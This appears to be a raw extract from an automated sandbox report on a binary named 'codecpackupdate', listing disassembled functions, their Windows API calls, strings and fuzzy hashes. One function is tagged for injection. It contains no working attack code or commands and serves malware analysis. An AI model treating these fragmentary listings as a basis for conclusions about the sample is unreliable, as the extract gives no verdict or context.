API ID: CriticalSection$AddressCompareEnterErrorExchangeH_prologHandleInterlockedLastLeaveModuleProc
String ID: CancelIoEx$KERNEL32
API String ID: 2902213904-434325024
Opcode ID: 2913399f54ae82b49cba1bc21a575ca9dc5673006b700d1888d3301fb386c77a
Instruction ID: 3093710ff5725cf828bd612bc3c60b4f79e11c91880fe3ccf2475ef90a516563
Opcode Fuzzy Hash: 2913399f54ae82b49cba1bc21a575ca9dc5673006b700d1888d3301fb386c77a
Instruction Fuzzy Hash: 7F319CB1900319DFCB01EFA4C984AAEBBF8FF49311F008469F9199B251C778DA01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00405857 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,?,00404D1D,?,Microsoft Visual C++ Runtime Library,00012010,?,00406530,?,00406580,?,?,?,Runtime Error!Program: ), ref: 00405869
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00405881
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00405892
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0040589F

Strings

GetActiveWindow, xrefs: 0040588C
GetLastActivePopup, xrefs: 00405894
MessageBoxA, xrefs: 0040587B
user32.dll, xrefs: 00405864

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: a1fdb014e8dea29639177d20d343b616e560619fb48a784863710210177faac4
Instruction ID: 8e14f7a6750b1570260f033f2342e22bcd7c780a38ad1719db35514165c9b09a
Opcode Fuzzy Hash: a1fdb014e8dea29639177d20d343b616e560619fb48a784863710210177faac4
Instruction Fuzzy Hash: 9F015232600701AFDB11EFB5AD80A1B3BE8EB45740315043AB909F2591D678D8359F69

Uniqueness

Uniqueness Score: -1.00%

Function 00405B1F Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004065FC,00000001,00000000,00000000,00000103,00000001,00000000,?,00404E93,00200020,00000000,?,00000000,00000000), ref: 00405B61
LCMapStringA.KERNEL32(00000000,00000100,004065F8,00000001,00000000,00000000,?,00404E93,00200020,00000000,?,00000000,00000000,00000001), ref: 00405B7D
LCMapStringA.KERNEL32(00000000,?,00000000,00200020,00404E93,?,00000103,00000001,00000000,?,00404E93,00200020,00000000,?,00000000,00000000), ref: 00405BC6
MultiByteToWideChar.KERNEL32(00000000,00000002,00000000,00200020,00000000,00000000,00000103,00000001,00000000,?,00404E93,00200020,00000000,?,00000000,00000000), ref: 00405BFE
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00200020,?,00000000,?,00404E93,00200020,00000000,?,00000000), ref: 00405C56
LCMapStringW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,00404E93,00200020,00000000,?,00000000), ref: 00405C6C
LCMapStringW.KERNEL32(00000000,?,00404E93,00000000,00404E93,?,?,00404E93,00200020,00000000,?,00000000), ref: 00405C9F
LCMapStringW.KERNEL32(00000000,?,?,?,?,00000000,?,00404E93,00200020,00000000,?,00000000), ref: 00405D07

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 585e295b11037126dfcd064dc94fe4f66704bff1de9b4c7a404ff84c747eed69
Instruction ID: 228655485731442308ac41690fb54a5bf4aece3cc6a962a44786cceaeb1d8e11
Opcode Fuzzy Hash: 585e295b11037126dfcd064dc94fe4f66704bff1de9b4c7a404ff84c747eed69
Instruction Fuzzy Hash: 94518931504609AFDF228F55CD45EAF7FB9EB48744F20412AF912B12A0D3398D21DF69

Uniqueness

Uniqueness Score: -1.00%

Function 00404BF9 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000), ref: 00404C66
GetStdHandle.KERNEL32(000000F4,00406530,00000000,?,00000000,00000000), ref: 00404D3C
WriteFile.KERNEL32(00000000), ref: 00404D43

Strings

..., xrefs: 00404CB8
Runtime Error!Program: , xrefs: 00404CCC
Microsoft Visual C++ Runtime Library, xrefs: 00404D12
<program name unknown>, xrefs: 00404C76

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: b6dd7ce0089c197cf693ca265a150b89f405fd2be0e3a5b5ca2c0cc9865f6c54
Instruction ID: f140c2e8ca9dd112070b7b1a63e93dd9695d020ae797257d07982e8dddccbb03
Opcode Fuzzy Hash: b6dd7ce0089c197cf693ca265a150b89f405fd2be0e3a5b5ca2c0cc9865f6c54
Instruction Fuzzy Hash: 5531E5B2A012186FEF20E760DE49FDA336CEF85304F1005BBF945B61D0D6B89E548A19

Uniqueness

Uniqueness Score: -1.00%

Function 00404710 Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00402FA6), ref: 0040472B
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00402FA6), ref: 0040473F
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00402FA6), ref: 0040476B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00402FA6), ref: 004047A3
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00402FA6), ref: 004047C5
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00402FA6), ref: 004047DE
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00402FA6), ref: 004047F1
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0040482F

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 3561de5b01a372d6e215d3622bd3220d2b84138c13fabd42e705c73002b4d0d2
Instruction ID: 34ba4f5269201e1e594d4a21fe80140370f79d481ab45775fabf70a7e665ef6c
Opcode Fuzzy Hash: 3561de5b01a372d6e215d3622bd3220d2b84138c13fabd42e705c73002b4d0d2
Instruction Fuzzy Hash: E631C2F75042656FD7207FB99D8483BB69CE6C6358716093BFB42F3280D7798C4182AA

Uniqueness

Uniqueness Score: -1.00%

Function 00A01550 Relevance: 10.6, APIs: 7, Instructions: 132COMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(00100002,00000000,00000000,35B6412D), ref: 00A015F0
CloseHandle.KERNEL32(00000000), ref: 00A01605
ResetEvent.KERNEL32(00000000,35B6412D), ref: 00A0160F
CloseHandle.KERNEL32(00000000,35B6412D), ref: 00A01644
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,35B6412D), ref: 00A016BA
CloseHandle.KERNEL32(00000000), ref: 00A016CF

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateOpenReset
String ID:
API String ID: 1285874450-0
Opcode ID: a16bf58e775abc246a528a1f3645127b2d31711805e3ca5ebc1f5cf0ba5a59ea
Instruction ID: b7feb1f5d26a83795396475213955868c9da5ad5b48f35c8228ccb61b7158648
Opcode Fuzzy Hash: a16bf58e775abc246a528a1f3645127b2d31711805e3ca5ebc1f5cf0ba5a59ea
Instruction Fuzzy Hash: 1D412C71D0435CABDF21CFA5DD84BEEBBB8AB05724F144219E819AB2C1D7719905CB90

Uniqueness

Uniqueness Score: -1.00%

Function 009F2081 Relevance: 10.6, APIs: 7, Instructions: 116timeCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 009F20AC
SetWaitableTimer.KERNEL32(00000000,?,00000001,00000000,00000000,00000000), ref: 009F20CD
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 009F20D8
InterlockedDecrement.KERNEL32(?), ref: 009F213E
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000001F4,?), ref: 009F217A
InterlockedDecrement.KERNEL32(?), ref: 009F2187
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 009F21A6

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Interlocked$Exchange$Decrement$CompletionQueuedStatusTimerWaitable
String ID:
API String ID: 1171374749-0
Opcode ID: 0bfa594cc17542cc7bb13588c7c71204a29f49f95be937485b39a493a555da76
Instruction ID: 8e6498f98fcf493d178d7c0fec3c526ae44a248fe83ad90ab089f59c3b1af1b1
Opcode Fuzzy Hash: 0bfa594cc17542cc7bb13588c7c71204a29f49f95be937485b39a493a555da76
Instruction Fuzzy Hash: 81415B715087059FC311DF65D885A6BBBF9FFC8750F044A1EF59682250DB30E906CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00A01662 Relevance: 10.6, APIs: 7, Instructions: 107synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00A01E10: OpenEventA.KERNEL32(00100002,00000000,?,?,?,00A0166E,?,?), ref: 00A01E3F
Part of subcall function 00A01E10: CloseHandle.KERNEL32(00000000,?,?,00A0166E,?,?), ref: 00A01E54
Part of subcall function 00A01E10: SetEvent.KERNEL32(00000000,00A0166E,?,?), ref: 00A01E67

OpenEventA.KERNEL32(00100002,00000000,00000000,35B6412D), ref: 00A015F0
CloseHandle.KERNEL32(00000000), ref: 00A01605
ResetEvent.KERNEL32(00000000,35B6412D), ref: 00A0160F
CloseHandle.KERNEL32(00000000,35B6412D), ref: 00A01644
__CxxThrowException@8.LIBCMT ref: 00A01675

Part of subcall function 00A0449A: RaiseException.KERNEL32(?,?,009FFA92,?,?,?,?,?,?,?,009FFA92,?,00A20F78,?), ref: 00A044EF

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,35B6412D), ref: 00A016BA
CloseHandle.KERNEL32(00000000), ref: 00A016CF

Part of subcall function 00A01B50: GetCurrentProcessId.KERNEL32(?), ref: 00A01BA9

WaitForSingleObject.KERNEL32(00000000,000000FF,35B6412D), ref: 00A016DF

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Event$CloseHandle$Open$CreateCurrentExceptionException@8ObjectProcessRaiseResetSingleThrowWait
String ID:
API String ID: 2227236058-0
Opcode ID: 1c643fdc53387f76089f0bea272235a900bb8fa892d7f0acd0072e41d120381d
Instruction ID: 207df51d07f2903d051ae77b415bf30270a0dc372a206434ce0646d7059474a0
Opcode Fuzzy Hash: 1c643fdc53387f76089f0bea272235a900bb8fa892d7f0acd0072e41d120381d
Instruction Fuzzy Hash: FA314C71D0435CABDF21DBE4EC85BEDB7B8AF05315F184219E819EB2C1E722A9058B51

Uniqueness

Uniqueness Score: -1.00%

Function 00A05CD4 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00A05CD4

Part of subcall function 00A08442: RtlEncodePointer.NTDLL(00000000), ref: 00A08445
Part of subcall function 00A08442: __initp_misc_winsig.LIBCMT ref: 00A08460
Part of subcall function 00A08442: GetModuleHandleW.KERNEL32(kernel32.dll,?,00A21578,00000008,00000003,00A20F5C,?,00000001), ref: 00A091C1
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00A091D5
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00A091E8
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00A091FB
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00A0920E
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00A09221
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00A09234
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00A09247
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00A0925A
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00A0926D
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00A09280
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00A09293
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00A092A6
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00A092B9
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00A092CC
Part of subcall function 00A08442: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00A092DF

__mtinitlocks.LIBCMT ref: 00A05CD9
__mtterm.LIBCMT ref: 00A05CE2

Part of subcall function 00A05D4A: RtlDeleteCriticalSection.NTDLL(00000000), ref: 00A08878
Part of subcall function 00A05D4A: _free.LIBCMT ref: 00A0887F
Part of subcall function 00A05D4A: RtlDeleteCriticalSection.NTDLL(00A23978), ref: 00A088A1

__calloc_crt.LIBCMT ref: 00A05D07
__initptd.LIBCMT ref: 00A05D29
GetCurrentThreadId.KERNEL32 ref: 00A05D30

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 4757c06a70b5e510f948b6c630bda60a8a0f7c3707e468959617c6f626d8b03a
Instruction ID: 1240caf5324f7a97a03f55e3b9033cef11d5cdfc260e9be72f96d7a1b3f4643a
Opcode Fuzzy Hash: 4757c06a70b5e510f948b6c630bda60a8a0f7c3707e468959617c6f626d8b03a
Instruction Fuzzy Hash: 67F0BB32959B191FE674B7B97E0B65B2784DF01770B200A1AF455C90D1FF198C424D55

Uniqueness

Uniqueness Score: -1.00%

Function 00A03404 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,?,00A033B6,00000000), ref: 00A0341E
GetProcAddress.KERNEL32(00000000), ref: 00A03425
RtlEncodePointer.NTDLL(00000000), ref: 00A03431
RtlDecodePointer.NTDLL(00000001), ref: 00A0344E

Strings

combase.dll, xrefs: 00A03419
RoInitialize, xrefs: 00A0340D

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 723ec0efad399e08f2292c87da9f8fe8d038ae16efa26416b9c1bc963c9e0963
Instruction ID: f7a79b5ae40f4cebbf463811c4019ef4e3498e1b35f25ed3a15ef02bcde58af0
Opcode Fuzzy Hash: 723ec0efad399e08f2292c87da9f8fe8d038ae16efa26416b9c1bc963c9e0963
Instruction Fuzzy Hash: 4EE0E570AA9304FADA209FB8AC49FAA367AB700B47F40D570B106D51F0CAB946979B10

Uniqueness

Uniqueness Score: -1.00%

Function 00A034D9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00A033F3), ref: 00A034F3
GetProcAddress.KERNEL32(00000000), ref: 00A034FA
RtlEncodePointer.NTDLL(00000000), ref: 00A03505
RtlDecodePointer.NTDLL(00A033F3), ref: 00A03520

Strings

combase.dll, xrefs: 00A034EE
RoUninitialize, xrefs: 00A034E2

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: e3e62412b5dc2c13d24dcf883228bf3b4031eac79fae0208c73ee2a24bdd1e3d
Instruction ID: d29b8691d32f454b9f24b58925c2e40393158b16f3adb3c895b6960365efdab8
Opcode Fuzzy Hash: e3e62412b5dc2c13d24dcf883228bf3b4031eac79fae0208c73ee2a24bdd1e3d
Instruction Fuzzy Hash: 24E0927059A304BBDA309FE4AC09F9A3A79F714702F109524FA06A12B0CBB856429A14

Uniqueness

Uniqueness Score: -1.00%

Function 00A01E70 Relevance: 10.2, APIs: 8, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000025,35B6412D,?,?,?,?,00000000,00A169F8,000000FF,00A0210A), ref: 00A01EAA
TlsSetValue.KERNEL32(00000025,00A0210A,?,?,00000000), ref: 00A01F17
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00A01F41
HeapFree.KERNEL32(00000000), ref: 00A01F44

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: HeapValue$FreeProcess
String ID:
API String ID: 1812714009-0
Opcode ID: 6a5672e674274c5126c8cb629383672b500799f2e942ee5d1031b46bd5d54ac2
Instruction ID: 85097f9296792a2e186c23b782960728d9941bf6acc5c3d5c918d3c5978cdd62
Opcode Fuzzy Hash: 6a5672e674274c5126c8cb629383672b500799f2e942ee5d1031b46bd5d54ac2
Instruction Fuzzy Hash: 2651BF316043099FC720DF68E888FAABBF4FB49764F058669F859972D0D730AC01CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A155C0 Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 00A156D0
__FindPESection.LIBCMT ref: 00A156EA

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: 7f9e4a4991c6b06ec3bbadc81c6e7dc1117e8d5d3b3382208bd01729809b35fb
Instruction ID: 2071d0c0a688222eb6f9e87e9b1443c372e41b3f07cd60ed4c933ac0f838a1d5
Opcode Fuzzy Hash: 7f9e4a4991c6b06ec3bbadc81c6e7dc1117e8d5d3b3382208bd01729809b35fb
Instruction Fuzzy Hash: 79A1AE75E04A15CFCB24CF68D981AEDB7E5FB84320F184669EC15AB291E731ED81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00405D6E Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004065FC,00000001,00000000,00000103,00000001,00000000,00404E93,00200020,00000000,?,00000000,00000000,00000001), ref: 00405DAD
GetStringTypeA.KERNEL32(00000000,00000001,004065F8,00000001,?,?,00000000,00000000,00000001), ref: 00405DC7
GetStringTypeA.KERNEL32(00000000,00000000,?,00000000,00200020,00000103,00000001,00000000,00404E93,00200020,00000000,?,00000000,00000000,00000001), ref: 00405DFB
MultiByteToWideChar.KERNEL32(00404E93,00000002,?,00000000,00000000,00000000,00000103,00000001,00000000,00404E93,00200020,00000000,?,00000000,00000000,00000001), ref: 00405E33
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405E89
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405E9B

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 299ca15397ebee838ff06567ddbc0ab6f29b8118cf23d418261883c500b25a22
Instruction ID: 80e02ee10c910d5558e83bb499fc0990029bfad3b9a08e1f349c60d3d592f295
Opcode Fuzzy Hash: 299ca15397ebee838ff06567ddbc0ab6f29b8118cf23d418261883c500b25a22
Instruction Fuzzy Hash: D5416C72540619AFCF109FA4DD85AAF3F69FB08710F10443AF912F6290C3399A619BA9

Uniqueness

Uniqueness Score: -1.00%

Function 009F1C91 Relevance: 9.0, APIs: 6, Instructions: 39synchronizationthreadinjectionCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 009F1CB1
CloseHandle.KERNEL32(?), ref: 009F1CBA
InterlockedExchangeAdd.KERNEL32(00A27244,00000000), ref: 009F1CC6
TerminateThread.KERNEL32(?,00000000), ref: 009F1CD4
QueueUserAPC.KERNEL32(009F1E7C,?,00000000), ref: 009F1CE1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 009F1CEC

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Wait$CloseExchangeHandleInterlockedMultipleObjectObjectsQueueSingleTerminateThreadUser
String ID:
API String ID: 1946104331-0
Opcode ID: 17ab6e982b01fb5fc7d339ac65c5f144fdbb0ab0d82a409c6d75b317ae9c3596
Instruction ID: 44b94592436334ef4f3a1fcc73bf9929e8f45e106a5505623e9990e73a904077
Opcode Fuzzy Hash: 17ab6e982b01fb5fc7d339ac65c5f144fdbb0ab0d82a409c6d75b317ae9c3596
Instruction Fuzzy Hash: 87F03135144314FFD7109B95DD0DDABBBBCEB89721B00825DF669821A0DB7059018B60

Uniqueness

Uniqueness Score: -1.00%

Function 00403112 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00403131
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00403166
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004031C6

Strings

__MSVCRT_HEAP_SELECT, xrefs: 00403161
__GLOBAL_HEAP_SELECTED, xrefs: 004031A0

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: af41626222cda295a30e89e95e8c01aa69820a81ffba76c46a2f88c2c2cc9610
Instruction ID: 15aa791d7551e4111e6245bb3a1b8270ecaa7052e860947edacf4d8c3684a0cc
Opcode Fuzzy Hash: af41626222cda295a30e89e95e8c01aa69820a81ffba76c46a2f88c2c2cc9610
Instruction Fuzzy Hash: 9C3102719412486DEB31AB706C45BDA7F6C9B0A709F2404FFD145FA2C2D6398F898B19

Uniqueness

Uniqueness Score: -1.00%

Function 00A01870 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 00A018BF

Part of subcall function 00A02413: std::exception::_Copy_str.LIBCMT ref: 00A0242C

Part of subcall function 00A00C90: __CxxThrowException@8.LIBCMT ref: 00A00CEE

std::exception::exception.LIBCMT ref: 00A0191E

Strings

$, xrefs: 00A01923
boost unique_lock owns already the mutex, xrefs: 00A0190D
boost unique_lock has no mutex, xrefs: 00A018AE

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Copy_strException@8Throwstd::exception::_
String ID: $$boost unique_lock has no mutex$boost unique_lock owns already the mutex
API String ID: 2140441600-46888669
Opcode ID: f2d2bd60a6c7d8c02dcf324df17f3e2647ab27bc79293e4f607119ce624d0a6c
Instruction ID: 6b48039f3f615d647ba4c37b9347692bf0a51671951f8ece9791f3183d716c24
Opcode Fuzzy Hash: f2d2bd60a6c7d8c02dcf324df17f3e2647ab27bc79293e4f607119ce624d0a6c
Instruction Fuzzy Hash: DA2128B15083849FD720DF24D549B9BBBE4BB88708F004E2DF4A587281D7BA9548CB92

Uniqueness

Uniqueness Score: -1.00%

Function 009F2341 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000001), ref: 009F2350
InterlockedExchange.KERNEL32(?,00000001), ref: 009F2360
PostQueuedCompletionStatus.KERNEL32(00000000,00000000,00000000,00000000), ref: 009F2370
GetLastError.KERNEL32 ref: 009F237A

Part of subcall function 009F1712: __EH_prolog.LIBCMT ref: 009F1717

Strings

pqcs, xrefs: 009F2388

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ExchangeInterlocked$CompletionErrorH_prologLastPostQueuedStatus
String ID: pqcs
API String ID: 1619523792-2559862021
Opcode ID: 91fc3320247497578c3717657b3b5a00e985e8785538cf479eb4d6bfac44c4de
Instruction ID: cfb13f5dbd00a0f47b4b6f220637bb2ed40155d6a838e6f493767cdbd2d60d5a
Opcode Fuzzy Hash: 91fc3320247497578c3717657b3b5a00e985e8785538cf479eb4d6bfac44c4de
Instruction Fuzzy Hash: 19F03AB0A04308ABDB20EFB49D09BBF7BBDEB44701F008169F90AD3150EAB09D058791

Uniqueness

Uniqueness Score: -1.00%

Function 009F4030 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F4035
GetProcessHeap.KERNEL32(00000000,?), ref: 009F4042
RtlAllocateHeap.NTDLL(00000000), ref: 009F4049
std::exception::exception.LIBCMT ref: 009F4063

Part of subcall function 009FA5FD: __EH_prolog.LIBCMT ref: 009FA602
Part of subcall function 009FA5FD: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 009FA611
Part of subcall function 009FA5FD: __CxxThrowException@8.LIBCMT ref: 009FA630

Strings

bad allocation, xrefs: 009F4058

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

